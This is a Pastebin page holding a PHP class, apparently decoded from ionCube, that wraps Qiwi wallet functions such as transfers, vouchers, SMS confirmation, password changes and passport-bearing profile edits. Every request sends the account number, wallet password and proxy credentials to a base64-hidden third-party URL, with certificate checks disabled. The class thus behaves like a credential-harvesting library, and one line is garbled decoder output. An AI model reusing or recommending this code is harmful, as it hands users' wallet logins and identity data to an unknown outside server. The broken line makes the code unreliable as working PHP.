Advertisement
Guest User

Ioncube9 decode - decube.xyz

a guest
Jun 9th, 2017
98
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.65 KB | None | 0 0
  1. <?php
  2. /*decoded by decube.xyz
  3. source:myqiwi.class.php
  4. */
  5. class MyQiwi
  6. {
  7. private $iAccount;
  8. private $sPassword;
  9. private $sProxyIP;
  10. private $iProxyPort;
  11. private $sProxyType;
  12. private $sProxyUser;
  13. private $sProxyPassword;
  14. public $sResponse;
  15. public $aResponse;
  16. public $aBalances;
  17.  
  18. public function __construct($iAccount, $sPassword, $sProxyIP = null, $iProxyPort = null, $sProxyType = null, $sProxyUser = null, $sProxyPassword = null)
  19. {
  20. $this->iAccount = $iAccount;
  21. $this->sPassword = $sPassword;
  22. $this->sProxyIP = $sProxyIP;
  23. $this->iProxyPort = $iProxyPort;
  24. $this->sProxyType = $sProxyType;
  25. $this->sProxyUser = $sProxyUser;
  26. $this->sProxyPassword = $sProxyPassword;
  27. $this->curl("getBalanceInfo");
  28. $this->aBalances = $this->aResponse["aBalances"];
  29. }
  30.  
  31. public function gethistory($sStartDate, $sFinishDate)
  32. {
  33. $this->curl("getHistory", array("sStartDate" => $sStartDate, "sFinishDate" => $sFinishDate));
  34. return $this->aResponse["aData"];
  35. }
  36.  
  37. public function transfer($iReceiver, $dAmount, $sCurrency, $sComment)
  38. {
  39. $this->curl("transfer", array("iReceiver" => $iReceiver, "dAmount" => $dAmount, "sCurrency" => $sCurrency, 0 => $sComment));
  40. return $this->aResponse["iTransferID"];
  41. }
  42.  
  43. public function createegg($dAmount, $sComment)
  44. {
  45. $this->curl("createEgg", array("dAmount" => $dAmount, "sComment" => $sComment));
  46. return $this->aResponse["sCode"];
  47. }
  48.  
  49. public function activateegg($sCode)
  50. {
  51. $this->curl("activateEgg", array("sCode" => $sCode));
  52. return array("dAmount" => $this->aResponse["dAmount"], "sComment" => $this->aResponse["sComment"]);
  53. }
  54.  
  55. public function issmsactive()
  56. {
  57. $this->curl("getSMSConfirmInfo");
  58. return $this->aResponse["bActive"];
  59. }
  60.  
  61. public function paymentsmsconfirm($iCode)
  62. {
  63. $this->curl("makeSMSConfirm", array("iCode" => $iCode));
  64. return $this->aResponse["iTransferID"];
  65. }
  66.  
  67. public function requestchangepassword()
  68. {
  69. $this->curl("requestChangePassword");
  70. return $this->aResponse["iIdentifier"];
  71. }
  72.  
  73. public function progresschangepassword($iIdentifier, $sOldPassword, $sNewPassword, $iCode)
  74. {
  75. $this->curl("progressChangePassword", array("iIdentifier" => $iIdentifier, "sOldPassword" => $sOldPassword, "sNewPassword" => $sNewPassword, "iCode" => $iCode));
  76. }
  77.  
  78. public function requestconfirmpayments()
  79. {
  80. $this->curl("requestConfirmPayments");
  81. return $this->aResponse["iIdentifier"];
  82. }
  83.  
  84. public function progressconfirmpayments($iIdentifier, $iCode)
  85. {
  86. $this->curl("progressConfirmPayments", array("iIdentifier" => $iIdentifier, "iCode" => $iCode));
  87. }
  88.  
  89. public function editprofile($sLastName, $sFirstName, $sMiddleName, $sBirthDate, $sPassport)
  90. {
  91. $this->curl("editProfile", array("sFirstName" => $sFirstName, "sLastName" => $sLastName, "sMiddleName" => $sMiddleName, "sBirthDate" => $sBirthDate, "sPassport" => $sPassport));
  92. }
  93.  
  94. public function getprofile()
  95. {
  96. $this->curl("getProfileInfo");
  97. return array($this->aResponse["sLastName"], $this->aResponse["sFirstName"], $this->aResponse["sMiddleName"], $this->aResponse["sBirthDate"], $this->aResponse["sPassport"]);
  98. }
  99.  
  100. public function clearcookie()
  101. {
  102. $this->curl("clearCookie");
  103. }
  104.  
  105. private function curl($sMod, array $aData = array())
  106. {
  107. $oCurl = &STRoCurl;
  108.  
  109. if (is_null($oCurl)) {
  110. $oCurl = curl_init(base64_decode("aHR0cDovL2FwaXNlcnZlci5pbi51YS9hcGktcWl3aS5waHA="));
  111. curl_setopt_array($oCurl, array(CURLOPT_RETURNTRANSFER => true, CURLOPT_HEADER => false, CURLOPT_USERAGENT => "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36", CURLOPT_SSL_VERIFYHOST => false, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_POST => true, CURLOPT_TIMEOUT => 60));
  112. }
  113.  
  114. $aData["sMod"] = $sMod;
  115. $aData["iAccount"] = $this->iAccount;
  116. $aData["sPassword"] = $this->sPassword;
  117. $aData["sProxyIP"] = $this->sProxyIP;
  118. $aData["iProxyPort"] = $this->iProxyPort;
  119. $aData["sProxyType"] = $this->sProxyType;
  120. $aData["sProxyUser"] = $this->sProxyUser;
  121. $aData["sProxyPassword"] = $this->sProxyPassword;
  122. curl_setopt($oCurl, CURLOPT_POSTFIELDS, http_build_query($aData));
  123. $this->sResponse = curl_exec($oCurl);
  124.  
  125. if (curl_errno($oCurl)) {
  126. throw new Exception(curl_errno($oCurl) . " - " . curl_error($oCurl));
  127. }
  128.  
  129. if (($this->aResponse = @json_decode($this->sResponse, true)) === false) {
  130. throw new Exception($this->sResponse);
  131. }
  132.  
  133. if (!isset($this->aResponse["sStatus"])) {
  134. throw new Exception($this->sResponse);
  135. }
  136.  
  137. if ($this->aResponse["sStatus"] != "SUCCESS") {
  138. throw new Exception(isset($this->aResponse["sMessage"]) ? $this->aResponse["sMessage"] : $this->sResponse);
  139. }
  140. }
  141. }
  142.  
  143.  
  144. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement